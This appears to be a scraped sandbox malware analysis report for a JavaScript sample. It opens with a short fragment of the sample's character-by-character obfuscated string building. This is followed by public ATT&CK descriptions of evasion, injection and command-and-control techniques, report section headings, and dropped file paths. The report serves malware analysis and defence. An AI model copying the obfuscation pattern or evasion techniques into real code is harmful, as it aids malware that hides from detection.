1294	pivlzb = "R";
1295	pivlzb = "O";
1296	pivlzb = "O";
1297	pivlzb = "x";
1298	pivlzb = "S";
1299	pivlzb = "d";
1300	pivlzb = "\"";
1301	kboctsg ( );	kboctsg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2254619394221055585.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3dd2b44e-2438-486d-9a1e-2e2430cb2830.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6663f692-46a6-4cb7-80a6-77f61cbd73b6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF454da3.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
2254619394221055585.js